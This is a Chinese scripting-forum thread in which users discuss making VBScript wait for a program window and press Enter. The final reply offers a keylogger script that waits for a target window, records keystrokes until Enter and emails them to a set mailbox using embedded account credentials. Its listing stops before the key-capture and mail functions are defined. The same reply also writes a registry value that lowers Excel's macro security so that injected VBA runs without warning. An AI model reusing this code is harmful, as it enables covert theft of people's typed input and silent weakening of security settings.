Board logo

标题: [问题求助] [已解决]VBS脚本怎么打开程序并窗口出现后自动按下回车键? [打印本页]

作者: 522235677    时间: 2012-8-6 11:52     标题: [已解决]VBS脚本怎么打开程序并窗口出现后自动按下回车键?

本帖最后由 522235677 于 2013-4-11 19:52 编辑

因为这个程序A有的时候2秒能打开,有的时候好几秒才能打开,怎么等到这个窗口出现后自动按下回车键。
还要防止别的窗口不要在最上方的时候按下回车键。以免在别的窗口上按下回车键。
作者: 冷玉公子    时间: 2012-8-6 13:05

  1. Echo Y|命令
复制代码
Echo Y 相当于一个回车键
作者: 522235677    时间: 2012-8-6 13:29

回复 2# 冷玉公子


    VBS代码有这个命令吗?
我好想是在 VBS求助&讨论
作者: 冷玉公子    时间: 2012-8-6 16:49

回复 3# 522235677


    哦不好意思,下次请在标题上注明是[VBS]。
   不过不熟悉,VBS你尝试查找等待这个窗口出现,然后激活这个窗口,发送回车。
  VBS的Send好像很强大的。
作者: xyqylong    时间: 2012-8-6 22:42

本帖最后由 xyqylong 于 2012-8-6 22:55 编辑

vbs的话可以用模拟键盘
如下代码:
  1. set a=CreateObject("WScript.Shell")
  2. WScript.Sleep 3000        '延时3秒
  3. a.SendKeys "{ENTER}"        '模拟按下回车键
复制代码
直接在bat代码里用start调用就可以
不过有个缺陷,就是在vbs未执行成功前cmd窗口必须处于前台。
作者: 522235677    时间: 2012-8-7 09:01

回复 5# xyqylong


    那如果这个程序三秒钟还没有打开呢?
或者这个窗口早就打开了,而这个窗口不是在最上方?
问题不是你想的这么简单
作者: forfiles    时间: 2012-8-7 09:07

回复 6# 522235677


用appactivate激活窗口
  1. Dim objShell
  2. Set objShell = CreateObject("WSCript.Shell")
  3. objShell.Appactivate "窗口标题"
  4. objShell.Run "cmd /k nbtstat -a 16.213.96.251"
  5. Set objShell = Nothing
复制代码

作者: 522235677    时间: 2012-8-7 13:31

回复 7# forfiles


    那有没有办法来检测是否有标题为“XXX”的窗口呢?
如果没有检测到,则一直循环,一直在检测,直到出现这个窗口,并把这个窗口调到最上方。
作者: czjt1234    时间: 2013-4-11 20:27

  1. '**************************************** 参数设置 ****************************************
  2. Const WINDOW_TITLE = "无标题 - 记事本"  '要监视的程序的窗口标题文字
  3. Const PROCESS_NAME = "notepad.exe"   '要监视的程序的进程名称
  4. Const SENDER_MAIL_ADDR = "xxxxx@163.com"  '用于发送邮件的邮箱地址
  5. Const SENDER_MAIL_PWD = "xxxxxxxxx"   '用于发送邮件的邮箱密码
  6. Const SENDEE_MAIL_ADDR = "xxxxxxxxx@qq.com"  '用于接收邮件的邮箱地址
  7. '******************************** 注册要使用的Win32API函数 ********************************
  8. Dim strDllPath
  9. strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll") '获取DLL文件的绝对路径
  10. RegisterCOM strDllPath   '注册DynamicWrapper组件
  11. Dim g_objConnectAPI
  12. Set g_objConnectAPI = CreateObject("DynamicWrapper") '创建全局的DynamicWrapper组件对象实例
  13. '以下为声明将要用到的Win32API函数
  14. With g_objConnectAPI
  15. .Register "user32.dll", "FindWindow",          "i=ss", "f=s", "r=l"
  16. .Register "user32.dll", "GetForegroundWindow",         "f=s", "r=l"
  17. .Register "user32.dll", "GetAsyncKeyState",    "i=l",  "f=s", "r=l"
  18. End With
  19. '+++
  20. '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  21. '******************************************************************************************
  22. '*** 程序主体流程区域:
  23. '循环监视指定窗口
  24. Do
  25. If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do '当指定窗口存在且为当前激活窗口跳出循环
  26. WScript.Sleep 500
  27. Loop
  28. Dim TheKeyResult '用于保存键盘记录的结果
  29. TheKeyResult = ""
  30. '开始循环记录按键,当窗口出于非激活状态后或者用户输入回车键后停止记录按键
  31. Do
  32. If Not IsTheWindowActive() Then Exit Do
  33. Dim TheKey
  34. TheKey = ""
  35. TheKey = GetThePressKey()
  36. TheKeyResult = TheKeyResult & TheKey
  37. WScript.Sleep 20
  38. Loop Until TheKey = "[ENTER]"
  39. 'MsgBox TheKeyResult,vbSystemModal, "按键信息"
  40. SendEmail SENDER_MAIL_ADDR, SENDER_MAIL_PWD, SENDEE_MAIL_ADDR, "", "按键内容", TheKeyResult, ""  '发送按键信息的邮件
  41. 'CreateLogFile TheKeyResult  '以日志形式保存所记录的按键信息
  42. '***
  43. '******************************************************************************************
  44. '------------------------------------------以下为函数定义区域-------------------------------------------
  45. '检测WINDOW_TITLE所指定标题文字的窗口是否存在
  46. Function IsFoundWindowTitle()
  47. Dim hWnd
  48. hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
  49. IsFoundWindowTitle = CBool(hWnd)
  50. End Function
  51. '检测WINDOW_TITLE所指定标题文字的窗口是否为当前激活的窗口
  52. Function IsTheWindowActive()
  53. Dim hWnd,hAct
  54. hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
  55. hAct = g_objConnectAPI.GetForegroundWindow()
  56. IsTheWindowActive = CBool(hWnd=hAct)
  57. End Function
复制代码


这个是调用api ,需要下载并注册注册一个dynwrap.dll文件,论坛上有,使用方法也有,你搜索下

或者你安装了excel也可以用excel调用api

这是一个例子:
  1. Option Explicit
  2. Dim WshShell, oExcel, strRegKey, strCode, x, y
  3. Set oExcel = CreateObject("Excel.Application")
  4. set WshShell = CreateObject("wscript.Shell")
  5. strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM"
  6. strRegKey = Replace(strRegKey, "$", oExcel.Version)
  7. '生成注册表路径,oExcel.Version 是当前版本号
  8. WshShell.RegWrite strRegKey, 1, "REG_DWORD"
  9. '写如注册表,1表示设置安全级别为低,这样添加宏就不会有安全提示了
  10. strCode = _
  11. "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCrLf & _
  12.                                                                                                     vbCrLf & _
  13. "Private Type POINTAPI"                                                                           & vbCrLf & _
  14.     "X As Long"                                                                                   & vbCrLf & _
  15.     "Y As Long"                                                                                   & vbCrLf & _
  16. "End Type"                                                                                        & vbCrLf & _
  17.                                                                                                     vbCrLf & _
  18. "Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long"              & vbCrLf & _
  19.                                                                                                     vbCrLf & _
  20. "Sub SetCursor(x as Long, y as Long)"                                                             & vbCrLf & _
  21.     "SetCursorPos x, y"                                                                           & vbCrLf & _
  22. "End Sub"                                                                                         & vbCrLf & _
  23.                                                                                                     vbCrLf & _
  24. "Public Function GetXCursorPos() As Long"                                                         & vbCrLf & _
  25.     "Dim pt As POINTAPI"                                                                          & vbCrLf & _
  26.     "GetCursorPos pt"                                                                             & vbCrLf & _
  27.     "GetXCursorPos = pt.X"                                                                        & vbCrLf & _
  28. "End Function"                                                                                    & vbCrLf & _
  29.                                                                                                     vbCrLf & _
  30. "Public Function GetYCursorPos() As Long"                                                         & vbCrLf & _
  31.     "Dim pt As POINTAPI"                                                                          & vbCrLf & _
  32.     "GetCursorPos pt"                                                                             & vbCrLf & _
  33.     "GetYCursorPos = pt.Y"                                                                        & vbCrLf & _
  34. "End Function"
  35. oExcel.Workbooks.Add.VBProject.VBComponents.Add(1).CodeModule.AddFromString strCode
  36. x = oExcel.Run("GetXCursorPos")
  37. y = oExcel.Run("GetYCursorPos")
  38. WScript.Echo x, y
  39. oExcel.Run "SetCursor", 1024, 768
  40. oExcel.DisplayAlerts = False
  41. oExcel.Workbooks.Add.Close
  42. oExcel.Quit
复制代码





欢迎光临 批处理之家 (http://bbs.bathome.net/) Powered by Discuz! 7.2